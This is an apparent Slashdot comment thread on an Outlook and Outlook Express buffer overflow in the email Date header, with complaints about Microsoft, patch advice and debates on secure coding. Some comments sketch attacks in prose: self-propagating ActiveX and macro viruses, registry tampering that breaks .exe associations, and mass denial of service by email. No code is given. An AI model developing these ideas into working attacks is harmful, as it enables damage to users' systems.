As for bugs; well, we're always in development :^) We've had several minor security issues, some early ones were, like this, bounding checks that didn't. Some memory leaks in 3rd party libraries. A few browser issues. Harmless stuff. Never whacked a file, or accessed secure information without the consent of the user. Never. As lead developer, I can honestly claim that our product easily does more than Outlook, and is virtually browser independent (SSL the only requirement). (Of course, you could just shitcan my comment, because it's a Server app, and not a Win client app, and we don't sell it, and..and...:)
Anyway, I can walk the walk. So, let's talk the talk.
There is no excuse for shoddy code and poor design at the Enterprise level. None. There are tons of relatively inexpensive tools that take care of beginner mistakes (like bound checking) for you, and may I remind you Microsoft should not be a beginner. Where are the coding wizards that bloated the Doom egg into Excel? And don't even start to winge to me about "so many lines of code crap", either. I don't care how many lines you bloat into a product: if the design is poor, you're in for the big lose. And, make no mistake about it, the VBScript security concept is simply Nonexistent. A pathetic afterthought -- a late-night crapfest of coding that makes the I_Love_You virus read like Shakespeare.
To make matters worse, Microsoft leveraged the farm on the VB Concept. Every "application" has a backdoor^h^h^h(Screw it, it's a backdoor) propped open wider than than the fridge at an "All-you-can-drink" Mardi Gras party in the Big Easy.
Uh...Wait...My Spidey Senses are telling me that the party line at Microsoft is that all this scriptability is The Big Win for productivity! Really!! You can cut/paste/drag/drop/bone/fillet/chop bits between all your apps! Isn't that exciting? Huh? Don't you want to be able to execute arbitrary code from an Excel spreadsheet, popped open by an untrusted 3rd party .OCX, driven by an Access 02 database automagically opened in Word?!? MmmmBoy!!! Smell That Innovation!
Got some not-so-much-news for you guys. That mind-numbing stench isn't innovation. It's a deceptively high-minded concept for individual power users, visciously mangled by Microsoft's complete inexperience with the multi-user/internet like some lean ground beef chew toy tossed to a pack of rabid weasels. 99.99% of the world doesn't use it, doesn't want to use it, and couldn't care less about it. The 0.01% that recognize it's existence are about equally divided on the subject: Either they've already disabled VBScripting on their machines, or they're writing code to exploit the other 99.99%
Would you be happy with a caretaker for your house that leaves the key in the lock and puts up a sign that says "Gone Fishin' 'till Tuesday"? And they knew about it since they shoehorned basic scripting into Word 95. It is beyond my comprehension why people believe that scripting viruses "just happen", like they're some Normal price of doing business. You hear crap like "That Loser who wrote this virus should be shot!", or "We lost (m|b|tr)illions of dollars to Melissa/Zipped_Files/Good_Times, someone should pay!!!" And the folks never take the time to think
"Why was is so damn easy to do?"
Because they made it easy to do. I mean, LOOK AT THE CODE, folks. Melissa and it's ilk are hardly rocket science. I_Love_You.vbs isn't a freakin' masterpiece. It's a script that should never have been allowed to run. Where's the security!!! Aunt Sally and Uncle Bob didn't want to run it. They don't know VBScript from Shinola. Yet, it ran on their box. Without their consent. Without their knowledge. And whacked all their files and mailed all their friends -- who continued the cycle.
What do you hear from Microsoft: "You have to stay Vigilant!" and "Those Devious Geniuses! They Struck Again!", and the popular "No System Is Ever Free Of Bugs" They crank up the spin-fest and fill Joe User's head with cheezy crap that sounds like it came off a bottle of cheap shampoo: "Upgrade, Set Options, Pray, Repeat!"
It never, ever had to be that way...
Thanks for listening...
>and certainly everyone should upgrade when the fix is made available.
:)
Just being an asshole here
Everyone? But how am I goina apply it to my Linux box?
The point is good thow...
I want to scream when ever I hear someone say "But the user never upgrades"...
Thats the users defect... bugs happen... user dosn't bugfix he is SOL.
Hay I mean where the hell do companys like Microsoft make money when people don't upgrade?
I don't actually exist.
---
I'm not sure I understand what your beef is here. I certainly am not stipulating that Microsoft is "not all bad." I just don't believe that the fact that one of their programmers committed an inadvertent buffer overflow error is evidence of evil (if it were, then basically any assemblage of modern programmers, e.g. the loosely bound ones that are responsible for modern open source Unix distributions, would have to be judged by the same standard).
:-). Nowadays, however, we are, willy nilly, almost all users some of the time, even those of us who are programmers and hackers first and foremost. And even if we are Linux users, we are using our Linux in the midst of a net saturated with Windows desktops. So Microsoft is no longer irrelevant, even to me, even if I never use their sucky software
Microsoft has committed plenty of -advertent- (I know there is no such word, figure it out) acts of evil, and I have no problem with attacking them for such, though doing so hardly constitutes a major portion of my life.
Look, Microsoft was essentially irrelevant to me up until 1995 or so, since until then I rarely if ever "used" a computer -- I was too busy hacking on them, as I have been doing for the past twenty-three years or so, in the following environments: (in roughly chronological order) "bare metal", VAX VMS, LISP machines, and Unix. To this date I have written perhaps 2000 lines of code in an MS-DOS (not Windows) environment and that under duress.
Back then, the word "user" was virtually an insult, and I would have had to call you outside, BlueUndies, for characterizing me as a "Linux user"
But for heaven's sake, if we are going to attack them, let us do based on their intentional Bad Decisions and Evil Moves and not for a programming mistake that, encouraged by a long-standing flaw of our common programming environment (C and the C library!), is rampant among programmers on every platform out there!
kiscica
The W2K update button on my start menu informs me only that I should update to Media Player 7.
The Exchange CLIENT was merged into Outlook....not Exchange Server. Go sit in the corner.
FIN (Freedom to Innovate Network) should be VIN (Virus Innovation Network).
The program is painfully slow to start and close. It's a memory hog. Has horrible UI. Concept are counter-intuitive. Menu option names are cryptic. Gadgets are the worst I've ever seen. I haven't yet figured out how to see the headers. Even the sender's full address isn't shown in the mailbox window. Parts are translated, parts are not. I could go on with this all day long.
And maybe exploits aren't commom because of the small installed base.
hahah funn-n-ny
Good thing I use Spruce and Pine ;). Does anyone know if Evolution is almost ready yet?
All they need to do is send every user an e-mail that will exploit the bug to automatically install the patch. That's quite a convenient feature! ;-)
Hmmmm... Flamebait... Must've struck a nerve. Score this as redundant then.
IMNSHO, it can't possibly be "massive" if I had the fix installed BEFORE I even heard of the security hole.
Of course, YMMV.
My beef was that you were attempting to misrepresent your own background: This could have happened to ?us?,, where us was supposed to meant the Linux/Unix community. However, your question marks gave you away, and in a rather spectacular way at that. Think about a Frenchman, saying, in a very thick French accent "I am prored to bee an Americanne". Funnily the question marks appeared around that very word that was the lie. Mind this little detail next time you try to impersonate the moderate Linux proponent.
> Back then, the word ?user? was virtually an insult
I would consider ?user? an insult too. But I have no beef with being called a user. My rant has nothing to do with user vs developer vs designer vs master architect vs whatever. I only used the words Linux user, as I could have used any other number of words such as Linux fan, Linux afficinado, penguinista or Linux proponent, etc. It's interesting that you feel more insulted by being called a user than being called a lier.
Say no to software patents.
Hey!
People are still using IE 3.0!
Unfortunately, many updates are not worth doing for the majority of people. If IE 3.0 does what you want, you shouldn't have to make a 2-hour plus download just to stop a bug that shouldn't have existed in the first place.
Another problem with upgrading is what I call the Bullshit program' problem. On my Windows box, I use Office 97. I saved a word file and sent it to a friend. It was just under 1.5 MB. He uses Word 2000, and a while later, e-mailed me the file back, for reasons I won't go into. It had grown to 4Mb, and was in the Word 2000 format, which I couldn't open. I e-mailed him and asked what he had changed in the file, other than the format. He said: Nothing.
Many upgrades give the average user nothing more than features like OS integration and annoying talking paper clips. Which they don't want. These 'upgrades' regularly have a large download time and/or price tag.
I blame Microsoft. After all, this IS Slashdot.
Michael Tandy
...another insightless comment from Michael Tandy.
"Goodness me, how unlike the FBI to abuse the trust of the American public." -- The Onion
If the exploit happens "before the messages hits the Inbox", how can it be an Outlook problem? Isn't putting items in the Inbox a function of the server?
--
Linux MAPI Server!
http://www.openone.com/software/MailOne/
(Exchange Migration HOWTO coming soon)
Look at it this way instead... /.ers have to help maintain, has a HUGE vulnerability.
/., but maybe we want a "MS Security Issue" section started.
The most popular desktop operating system and office package in the world, the one that MANY
I'm glad to find this stuff on
-- IANAEG - I am not an elder god.
Specifically, perhaps it is time to fix the infrastructure -- in this case, Internet mail as a whole. Although it would be unfair to compare it to something as weak and outdated as QWK mail from the ol' BBS days, there are abundant weaknesses in the current model for Internet mail that allow nasty things like mail header security exploits. And spam. Imagine if spam was not just antisocial and/or illegal, but technically impossible?
How long can a date field be? For that matter, how long can any header field be? (No, I'm not asking for a technical answer based on the current system, I'm suggesting that you think about the meaning of the fields, and the maximum length necessary to impart that meaning.) Given that mail client software authors are demonstrably ignoring such length limitations, is it not time to enforce at the protocol level some basic validity and, ideally, permission from the recipient?
I don't have a blueprint to roll out for you. However, as long as we focus on the weaknesses of this or that client, server, company, etc., we are missing the boat.
No Laughing Allowed!
What do generalization and wit have to do with ignorance and siliness?
--
Information wants to be beer, or something like that.
Other people are going to yell "monopoly", but I have a different take on it. I work at a small company, and on occasion I develop custom software for our clients. My bosses are really cool guys that understand the work I do, and if I tell them that I don't have 100% confidence in something I wrote, it doesn't leave the door. At MS, it seems that marketing is completely running the show and they have no clue what the nerds are doing. I can see things like fiscal years and competitor release dates causing MS managers to yank unfinished software away from the engineers. It's a good way to make lots of money and produce really aweful software.
-B
Its good to see that a Microsoft owned news service can still cover security bugs in Microsoft products.
(rejected)
I wonder how many people submitted that. I put mine in about an hour after this TechWeb article came out.
It'd be cool to see some cut-away of the slashdot experience. Like, are the posters the ones who hit reject or accept? Is there an early team that does some filtering? Is one nay enough to reject an article, or do a few people look it over?
-----
the fact is, these things are going to continue happening until finally something comes along that causes outlook to format the hard drives of everybody who uses it. a shame, to be sure, that all those people will lose so much information but hey that's what you get for using outlook. or eudora. or whatever else you use. bottom line: stop worrying about viruses and accept that someday you will probably be the victim of one, and just hope that day doesn't come too soon (or hope you're smart enough to avoid it... either way, not much you can do).
grizzo: totally insecure, but very convenient.
Anyhow, does anyone know of any alternative email clients that will work with the "Exchange mail protocol" (or whatever it's called)? It's not so much Outlook's security problems that I'm trying to avoid, but I don't particularly like its interface either ;).
Alex Bischoff
---
Alex Bischoff
HTML/CSS coder for hire
clue-4-u, u silly grammar-nazi.
The "cue the foo posts in 3, 2, 1..." posts will commence with no subsequent foo posts in 3, 2, 1...
You could say the same about sendmail.
Per posts in NTBugTraq, the actual bug is within Internet Explorer, and is made visible in Outlook and Outlook Express due to calls to the faulty code.
The bug has been fixed in IE 5.01 SP1; so there already exists a solution to avoid the bug on a Win box. Also, on Win-9x, IE 5.5 also avoids the bug; but on W2K, IE 5.5 still carries this bug (go figure).
In my opinion, any bug fix from MS isn't going to accomplish much. The majority of systems which are reportedly vulverable are home systems where the users have failed to download the readilly available SW upgrades. If the users failed to download the upgrades, I doubt it's likely that they'll get around to downloading the bug fix either.
Okay, I really don't see what's so great about using outlook. It is obviously an extremely inferior product that Microsoft has been able to push using their Windows Operating System. I know plenty of people that are forced to use this crap because of their work. Perhaps it's time that companies stop using shitty products like this because some idiot with an MCSE tells them to because they didn't learn any better (no, I am not implying MCSE's are idiots, but an idiot with an MCSE is a dangerous entity, you can all admit that). The administration tried to get our university to switch to backoffice fro their mail servers so that everyone would have to use outlook for the integration with MS Schedule+. Our NE guys just laughed at them. If we replaced our AIX servers with NT boxen running NT it would be crash city. Face it, MS makes crap and everyone keeps buying it, just stop and ACTUALLY DO RESEARCH FOR A CHANGE. Perhaps then you will spend $1000 on a brand new system that does not crash and does not have blatant security holes and has a logical GUI.
Something about this sound's suprising similar to the way that the authorities reascted to HIV/AIDS when they were finding out about it...
my sig's at the bottom of the page.
actually...if a huge security but were found in Apache it would probably make the news just the same as this exploit did, especially considering Apache's huge inroads into the market share in the last two years. Fortunately the folks at Apache have a great product that isn't trying to cover a zillion bases at once like the MS office apps try to do.
Prospecting Stinks. Stop Wasting Time on Cold Calling.
I'm not sure from this statement if you are saying that any program that does at least that is vulnerable, or that a program as simple as that could be vulnerable.
You have correctly stated what a buffer overflow is, but they are preventable. If the programmer checks the size of the line before writing it to a fixed size buffer, then they can prevent a buffer overflow. Its like trying to fit a #7 peg into a #2 hole. Buffer overflows are caused by shoddy programming. I would have thought that by now developers would be aware of the problems of not checking string lengths, but these problems still turn up
Democracy isn't about no one telling you what to do. It's about everyone telling you what to do.
I am curious if they ever taught anyone in school to ALWAYS CHECK IF THE BUFFER HAS BEEN FILLED! Seriously, this is one of the most basic lessons of computer science.
Outlook is not just a mail client alone. It's an entire PIM suite.
Second thing, go ahead and whip up your little form in PHP. Now tie it into my marketing database sitting on my desktop. Oh shit you can't. Ok, let's move my database to the server. SQL migration script has been written? Oh shit no it hasn't.
Third thing, go ahead and whip up a little php form that inserts calendar items, to do items, journal entries in my Outlook? Oh wait you can't ... damn ...
The point, of course, is that comparing outlook and asp/php/jsp stuff really isn't appropriate in an enterprise situation where Marking Manager Mark wants other people in his company to update stuff sitting on his desktop or in his outlook setup.
WHICH, AGAIN, IS WHY OUTLOOK HAS SCRIPTING.
You have discovered the secret, grasshopper.
.You line up magazine reviews and trade shows months in advance, if the software doesn't ship on time, you miss this window, you end up losing a huge potential in sales - because of lack of hype. I've seen damn good products die on the vine due to missing the window; and I've also seen instances where the sales force of a large software company will only sell the best selling (largest bonus, easiest to sell) product, and ignore the rest, causing other products the company sells or introduces to die, all because nobody will stand up to the sales director and tell him to tell his people to get their asses in gear.
I have worked in software companies for 8 years, and I can tell you bar none, that 90% of quality problems are caused by a marketing-driven schedule and feature set.
Yes, it's unavoidable that sofware has to sell to finance it's own development, and selling on a schedule is a requirement of marketing
Other factors have been the easy ability for software companies to ship with massive defects to match a schedule, and put a patch on the web for downloads later - this was not nearly as common back when customers had to dial into a BBS for a patch (before widespread use of the web).
Basically, it's more of a competitive advantage to get a market presence (we're talking vapor here), than it is to ship a good stable product.
Who to blame?
The trade press. Whether the reviews are accurate or not, they still sell their rags. My company has a whole department of people whose job it is to "manage trade press relationships", that is, to make sure they get a favorable review. If we had a serious bug during an evaluation, our people fly out there and pucker up to the journalists, and no mention is made of the bug in the review.
This is life, in the software industry folks. It's only gotten worse.
And it will only get still worse.
if it ain't broke, then fix it 'till it is!
These are my friends, See how they glisten. See this one shine, how he smiles in the light.
People are still using IE 3.0! Users generally too lazy to upgrade software, even if there's a known security issue
Unfortunately, MS has the tendency to make service packs/patches into "feature upgrades," meaning it fixes the bug and throws in some new (potentially plagued) stuff to boot. Just look at how few people have installed SP6... if it was only fixes for known issues, what's holding people back?
PDHoss
======================================
======================================
Writers get in shape by pumping irony.
.....
didn't think so.
No boom today. Boom tomorrow. There's always a boom tomorrow. - Cmdr. Susan Ivanova
This may be slightly OT, but this seems like the best place to post it since I doubt it would get a story of its own. Got this from the SANS Institute. Apparently another problem involving IE 4+ and Access 97 or 2K on just about every Windows platform. Don't think I've seen this one posted here. You can read about it here.
It's not enough to bash in heads, you've got to bash in minds. - Captain Hammer
Exactly, which is one of the many reasons why the MS monopoly is a bad thing.
In just a few months we've seen several MASSIVE security holes in microsoft products.. how long will managers risk their companies by continuing to use these products? how long can microsoft keep saying "oops"? I'm rather surprised they aren't charging for these fixes.
YouTube & Google Video -> podcast http://castcluster.blogspot.com/
moderate this up
How about one that fires up a message 'This virus was brought to you by a Microsoft security bug (tm)' 20 times. Perhaps then people would get the point.
Does anyone have an example of this exploit?
"The only defense against the vulnerability is installing the Microsoft patch, which will be available shortly on the Microsoft.com security Web site."
:)
I love it...they just automatically assume everyone in the world must use Outlook...
In case anyone's curious, I strongly recommend Kaufman Mail Warrior (http://pages.infinit.net/kaufman/Index.htm)
Handles multiple accounts with ease, nice interface, no viruses to worry about, and tiny (relatively)...one 700k executable or something...
Just felt like spreading the word
-Gabe
not much text in here
It's available here.
these things are really really really difficult to find... I mean... how many of your QA people will sit around and write low-level code to include in every possible field to test for buffer overflows...
I dont know of any where i work that are capable of even thinking about that... granted MS may have the best minds for it, but really, truthfully...
BUFFER OVERFLOW EXPLOITS HAPPEN...
now ... they should have fixed it sooner... hell... they had it since JUNE 8th...
... hi bingo
I saw the advisory on NTBugTraq and the fix, the default install of either IE 5.01 or IE 5.5. So I got the latest and ... well the latest anyways. IE 5.5 munched my computer and it has so far taken about 2.5hrs and a half dozen reboots to get functional again. Microsoft sucks, I wish I didn't have to use it here at work!
Seth
$5 / month hosted VPS on linux = awesome!
WWJD -- What Would Jimi Do?
I am quite civilized, and I should be brought a beer immediately. -- Bruce Sterling
Thank you for your computer science lesson, but I was not directly commenting on the buffer overflow exploit. What I was trying to do was draw a parallel between this exploit, and the fact that in the same week, Microsoft has acheived "the worst exploit in their OS ever." My point is, there is an underlying problem. It's not just one thing, it's the philosophy and way that Microsoft is "innovating" that is the problem. Look at their track record this week alone. Two HUGE exploits that can execute almost completely independent of any user control.
It's only when we've lost everything, that we are free to do anything...
Right, wrong? I'd be interested to know more. Thanks
Common...
although this bug has a huge impact, i wouldn't call OE's developers or QA team incompetent over it.
I thought this part of the story on CNN was really funny.
Corporate users aren't affected by the security hole. But home users, running Microsoft's Outlook or Outlook Express e-mail programs, are at risk.
Do no corporations use Outlook???
You'd think that a company like Consumer's Union would be doing this.
Then again, I guess Ralph Nader is too busy running for president these days.
if it ain't broke, then fix it 'till it is!
These are my friends, See how they glisten. See this one shine, how he smiles in the light.
The stupid shitheads could have tried reading RFC 821 and used standard techniques of mail handling that have been around since fucking 1982.
Then there would be no Melissa, no Love Bug and none of this other crap based on pathetic software that can't even handle a Date field. The pitiful MSNBC article was worthless, and apparently this is some kind of buffer overrun error. Can't they even avoid that shit, or have it actually CRASH when it hits an error it can't handle? This is one occasion where a BSOD would be preferable to what this idiotic software allows.
Yeah, I know, standard boilerplate Microshaft sucks rant.
To be fair, the referenced site deals with Notes 4.6. Notes 5.0, which came out over a year ago, completely changed the UI. I haven't gotten a chance to play with it, so I can't say if the UI is better or worse -- just that it's different.
I would like to see the linux community make a better email program then outlook.
Fucking /bin/mail is a better email program than outlook. Reading it out of /usr/spool with cat is a better email program than outlook.
Anyway, elm rules. All three methods I list are better than outlook, because they actually work and don't infect your computer with viruses.
*rolls eyes* Do I even need to elaborate?
I am not a MS hater by any streth, but after I read this yesterday I downloaded and installed Eudora on my wife's pc last night.
Outlook, while a great e-mail client, is not something I will ever hook directly up to an internet account ever again.
I think, when it comes to Outlook, in the flexibility vs. security decision, MS has weighted too much towards flexibility.
I'm still working on a clever footer.
Microsoft's latest version of Windows, Windows Millenium Edition, includes IE5.5 final. I know this because they sent me a complementary copy for beta testing. (Heh.. doesn't seem very Microsoft to me.. a company that charges for patches (Win98 -> Win98SE = $130) gave me a copy of their newest OS? *Shrug*)
How long would it take some one to figure out to exploit this one? I guess you should use eudora or Netscape for awhile.
Good luck to you if you do start your own slashdot, but don't get too disoulutioned. There's already alternatives out there, Kuro5hin, Advogato, Technocrat and even Nanodot. The quality of Slashdot really does seem to be going downhill recently. The only thing that keeps me here is that there still are a few interesting things. Bahh humbug, it was all much better in my day....
Then why is it enabled by default? It seems to me that if [insert big enterprise here] wanted scripting, their IT departments could turn it on.
Crash outlook and spawn a browser with USSR lab's page loaded in it. You can change that easily btw :) (no, i'm not gonna tell how. figger it out yerself)
Well,
as far as I recall, "virii" is the Latin and "viruses" is the modern English. So, he's not really at fault. Just a bit more linguistically educated than you.
Trian
I'm no longer fed up with MS Windows: I go rid of them
...it's a buffer overflow.
Outlook doesn't check the length of one of the date fields - a long string of data in that field will overflow a buffer. Once this has occurred, arbitrary code can be executed.
The fix is to install IE 5.01 SP1 on any affected Windows platform. Or you can install IE 5.5 - but not on Win2K.
More information is available in the posts to BugTraq and NTBugTraq, which is where I got the above information.
reverend lola
the titanium sheep
provider of steel wool
The interface.
Need I say more?
Cheers,
Ben
My usual seat in the cluetrain is at A HREF="http://pub4.ezboard.com/biwethey.ht
The email is stored on a server, your mail client retrieves it and then parses it before storing it in your inbox. According to the MSFT security release, Outlook doesn't check that all the fields are the correct size while parsing it...thus buffer overflow.
I thought by now, we'd be rid of buffer overflow bugs.
Unfortunately there's a fundamental disconnect in the corporate world between the security conscious admins and management. Mangagement wants things easy and standardized, and (for the most part) admins want things secure. These exploits can crop up every week and it won't do a thing to convince management that outlook is a bad choice.
Admins will continue to throw in layer after layer of mail pre-filtering software at the delivery level, when they should really just be able to get a secure MUA on their users' desktops.
--
I don't know about the rest of you, but I was rather tired of hearing the mass-media crying bloody murder against one or another teenager that happened to set free the newest and lamest VBA macro-virus.
At least this time it is a real bug, not a feature, and it has Microsoft working overnight to correct it. Those who remember the glorious days of early sendmail versions know that we've already been there, done that.
ROTFL... While you may have a point (Unix had had its fair share of buffer overruns too...), you somewhat blew your credibility by your faux "educated Linux user who admits that MS is not all bad" attitude.
Say no to software patents.
I use OE and have never got any viruses - maybe I just have a better class of friends! Just a thought...
Microsoft - not all bad.
This vulnerability occurs when messages are downloaded via POP3 (or IMAP) and a buffer overflow in the Date header occurs. Every email client capable of downloading mail in this way is potentially at risk ... Well-coded clients will perform correct bounds-checking and not be affected, but surely MS Outlook is not the only one that fails to check?
...
Of course, exploiting the vulnerability may not be very easy, but the vulnerability could still be there
"If you think the problem is bad now, just wait until we've solved it." --- Arthur Kasspe
You'd think the virtual memory system could just deny execute access to memory alloc'ed by C. I gave it a try using VirtualAlloc with PAGE_READWRITE (not execute permission). Windows still exec'd the code. Maybe a kernel hacker could tell me if this is a limitation of the intel VM or another one of Bill's stupid mistakes.
Ryan
Thechweb's article says that any mailer using MSIE(4+) HTML renderer is vulnerable...
--
Trolling using another account since 2005.
Every secretary using MSWord wastes enough resources
It figures, Microsoft can't really make a decent prduct much less make it secure. I can only imagine how many buffer overflows you will see when M$ releases their source. GO DOJ !!!!!
and your sig isn't from Platoon, it's from Full Metal Jacket.
I have to run MS at work, and every day I check this site every day. I also check the standard Microsoft Technet security pages at regular intervals.
At home I run a home-brew Linux system. Again I check with the relevant sites to see which software to upgrade, then download it and compile. I am starting to get paranoid, so I will be switching to Debian, and use apt-get (or whatever it's called) to keep me as up to date as possible. I also regularly run the current Nessus against my home system to ensure that it is not susceptible to known exploits. Nessus itself has a mechanism to automatically update all scripts.
Past experience has shown that a lot of sites are clueless when it comes to security. I know of one company that is still using IE3 on every desktop. I don't want to know what's running on their servers!
As for security, Lotus do produce quarterly updates, and these do contain fixes to security problems. Some seem to be DoS problems with Domino itself.
I wish I had som mod points right now, not for your comment, but for your .sig. Hehe
--
"I'm surfin the dead zone
--
"I'm surfin the dead zone
In the twilight, unknown"
And people do.. read the Unix Hater's Handbook.
---- ----
Napster-to-go says "Fill and refill your compatible MP3 player", which is a lie. It's not MP3. It's WMA with DRM.
someone didn't read the whole thing, or has no sense of humor. This guy was being facetious people!!!
-------------
The following sentence is true.
The following sentence is true. The preceding sentence was false.
(the only purpose for this non-informative crapnews I can think of is: it must be a hint for a new conversation at the coffeemachine, when that nice blond from Marketing is at the coffeemachine at the same time as you do :)).
--
Never underestimate the relief of true separation of Religion and State.
The bug lies in the shared library INETCOMM.DLL and has been successfully exploited on Windows 95, 98 and NT with both Outlook and Outlook Express.
It has bee confirmed that other applications (such as PGP) are vulnerable as well.
--shadoi
"Security == Controlled paranoia."
Hmmm...
You pretty much described why I use eudora. Because 95% of the world is not using it, it doesn't get the same attention from evil haxxors...
And it's a pretty good client too.
--
"I'm surfin the dead zone
--
"I'm surfin the dead zone
In the twilight, unknown"
The great part is that it is impossible for them to fix this in Win2K without issuing a service pack because of the system files protection. Man, microsoft really rocks.
-- Too lazy to get a lower UID.
I will never again bad mouth my Netscape 4.72 IMAP client.
/. community feels about Microsoft, don't you think that a company of that size (and with their software controlling so many critical sites around the globe> has a responsiblity to go overboard on quality assurance? We should be hearing horror stories from ex-employees about 48 hour testing binges and slave driver QA directors. That would make me much more comfortable than the consistant major flaws that keep appearing.
-- pause whilst I hug my browser --
So all Microsoft bashing aside, how do things like this get out the door? To me, it almost seems that they are purposely not doing any sort of testing at all. I know about the jokes that say they get free testing by releasing their alphas, but seriously! So many people around the world depend on their software, you would think that they would put it through hell and back, but products continually come out of Redmond with serious, serious flaws.
I mean, how long did it take someone to find a hole in IE 5.5? Like 3 days???
Putting aside all the joke and the "evil empire" comments and everything that the
Do you have Linux and a DotPal? Click here now!
Oh, I can just whip up a little form in PHP on the departemental webserver and send everyone an URL where the form is.
Geez...
Why would I need scripting in my mail client?
ZDNet Story
MSNBC Story
Information Week Story
CNN Story
SANS Story
Also : Microsoft security bulletin (irony)
Microsoft FAQ + Patch
Salocin.com
Why should I put data on your workstation, if your workstation can get it's data from my central database or my LDAP server? Nice and centralized. *AND* I can change stuff with PHP (PHP has LDAP and support for various databases, including Oracle, Sybase, MSSQL, etc.)
THIS IS WHY SCRIPTING IN CLIENTS IS UNNEEDED
Cheers
Er, couldn't someone use this exploit to initiate a massive DOS attack on an arbitrary target, merely by sending out 10,000 e-mail messages?
And what if lots of shithead kiddies tried this, with lots of targets?
GNU Info is documentation optimized for machine readability
damn... isn't memory loss a sign of aging?? .
Happiness is like peeing yourself, only you can feel the warmth.
OK. So apparently updating IE to a version that provides a newer inetcomm.dll fixes this.
This begs the obvious question -- since it's a DLL, are these (IE, Outlook, Outlook Express) the only ones that use whatever buggy functions allow this exploit? Or might other mail readers be vulnerable?
Only the dead have seen the end of war.
I wrote a little virus thingy some time ago(a well behaved one), as a signed activeX controle, the plan was(or wasn't) to seek out and infect web-servers with the virus and propergate it through IE and outlook, excel,word and access are also fun to create viruses for espicially the mutating encripting kind.
Seems like they've just realised this could be a problem. netscape, linux and a box of hankies to cry for those poor m$ bunnies that's what you need.
if windows is a way of life id like to through my life away.
thank God the internet isn't a human right.
sulli
sulli
RTFJ.
Actually, that is an excellent <a href="http://phrack.infonexus.com/search.phtml?vi<nobr>e<wbr></wbr></nobr> w&article=p49-14">link</a>. I understood the technique in principal, but never seen an actually example of how it works. Pretty hairy stuff - the people who play with this must like to crash their own machines often.
When are people going to realise that problems like this could never have happened if things were programmed in a secure language (like *cough* Java, or I assume also C# soon) ? How many bugs/crashes/problems are caused by the fact that we insist on continuing to use C/C++?
I'm the author of the original bugtraq post.
My original post to bugtraq was not intended to happen yesterday. It was through some carelessness on my behalf that it got out (if you really must know, there's a post about it on the bugtraq mailing list).
Both USSR Labs and I found the bug and submitted it to Microsoft independently. Unfortunately, due to my release of the advisory, Microsoft is refusing to acknowledge me in their official credits.
The implications of this bug should be obvious to anyone. Being able to run code on someone else's machine without their input or realization puts this vulnerability some powers above the recent VB script worms by a large factor.
The scariest thing about this problem was that when I discovered it in early June was the amount of time it took to find it. Not long after the ILOVEYOU worm had been spread, my Outlook session crashed. I had this strange urge to look for a way to crash outlook with a corrupted header (call me weird...). 10-15 minutes later I had isolated the problem and 5-8 hours of work after that I had a working exploit for it.
I notified Microsoft in early July about the problem and had been keeping it to myself while they developed patches.
Another thing the media didn't pick up on was that Outlook plugin's such as PGP also seem to crash in the same DLL. I'm not sure what security implications this poses as I haven't looked into this one myself (again further info is on bugtraq) but it highlights the fact that you can't build something secure out of insecure components!
--
Quite so. I should have said: countless remote root exploits, all of which could be used to create worms.
You have got to be kidding me.
Just a quick correction.
Versions of Outlook set up in Corporate/Group mode aren't affected. MS Exchange clients also aren't affected. This bug will only really affect POP3 and IMAP4 mail users.
Looks like themacjunkie.com went as far as removing their story but also their whole site. If you go to themacjunkie.com you go to a web hosting company's website instead of theirs. What a wimp, when he's wrong he runs.
http://www.terratoday.com - Environmental news, discussions & more!
Very, very busy.
I just do not have a site available that does such a good job dissecting it...
Cheers,
Ben
My usual seat in the cluetrain is at A HREF="http://pub4.ezboard.com/biwethey.ht
I think you -better- read that bulletin again.
t in/MS00-043.asp
According this web page:
http://www.microsoft.com/technet/security/bulle
the bulletin specifically states that if you do a default installation of Internet Explorer 5.01 Service Pack 1 or Internet Explorer 5.5, this will automatically install and/or upgrade to Outlook Express 5.5. Microsoft has specifically stated that OE 5.5 is -not- vulnerable to the issue that USSR Labs discovered. It should be noted that if you are running Windows 2000, you may have to apply the patch (which is now available) or do a manual upgrade to OE 5.5.
Raymond in Mountain View, CA
I personally thought the article was lacking in details, so here is the Security Focus bug report that goes into many more details (exploit included).
If you read the MS page closer you would have noticed that both 5.01 and 5.5 are vulnerable if you install Outlook Express.
All versions of OE past 4.0 are vulnerable.
This current exploit has nothing to do with flexibility. I bet if 95% of the world used Eudora, you'd be hearing more about it's buffer overflows.
This may be old news to some of you, but I just recently discovered this one. Had one of my users bring me his laptop with a variety of problems on it. Had the usual glitches that form up after a while on Win98, but one of them was especially interesting.
.ini files that looked to be starting up that was out of the ordinary.
.reg file. This site was able to tweak registry entries directly from the web!
.reg file to my local PC I was then able to trace back what all it had changed and get this thing off his system. I knew Windows had some security problems, but I had no idea it was THAT open to an attack.
.reg file you've got mirrored on a number of free web hosts. Heck, all I'd have to do at that point is delete the file association to .exe and .com files, which is just two lines of the registry, and I'd have your system rendered useless.
His Netscape kept loading up this GoHip web site as it's default home page. Even going into the preferences in NS would only change this until the next re-boot. Had me poking around all over his system trying to figure out how his default home page kept getting changed. I couldn't find anything in the registry or
I then popped on over to this GoHip web site to have a look. Right on their front page is a link that states something like "Make GoHip your default home page". The clever bit was that this was not a link to some how-to about preferences. It linked directly to a
Once I managed to download this
Now just imagine sending someone an E-Mail with an embedded meta tag that redirected you to some
Mind you, I strongly disagree with this monopoly case that is presently going on. The details of this I'll save for later. On the other hand, I would have no problems at all with Microsoft being held criminally liable for gross negligience. None of what I'm talking about here is a secret to Microsoft, and still they continue to put out a known faulty product. How long do you think folks would put up with flaws like this from Ford, Honda, or any other car maker?
The line must be drawn here. This far. No further.
And I think its time that MS admitted that. The program is too full of holes, too badly designed, to continue. It should be scrapped, period.
The likelyhood of MS actually admitting the above, let alone following through with my suggestion, is nil. But I think the fact that the hole has been a KNOWN exploit since June 11th and a patch was not made available even a MONTH later is very telling.
Truly, this hole longer than that.. wasnt there a whitepaper about 6 months ago from the authors behind BackOrifice detailing how this kind of exploit was possible?
Check out Magic Firesheep!
After reading about all the security holes in Outlook I am forced to ask a rhetorical question: What the f^ck were they thinking???
Happiness is like peeing yourself, only you can feel the warmth.
Link on securityfocus is here
Also, bugtraq archived here
Now, to avoid everyone calling me a karma whore, here's my insight on the whole thing:
USSR labs decided that they would hold back details until MS produced a fix. Understandable, I mean, they wouldn't want everyone to be developing exploits for the vulnerability while MS sits on it (Yes, I understand that security through obscurity doesn't work, but I'm sure that USSR would've released details if MS had refused to comply in a timely fashion). Anyway, I think that the problem is people actually getting/using the patch.
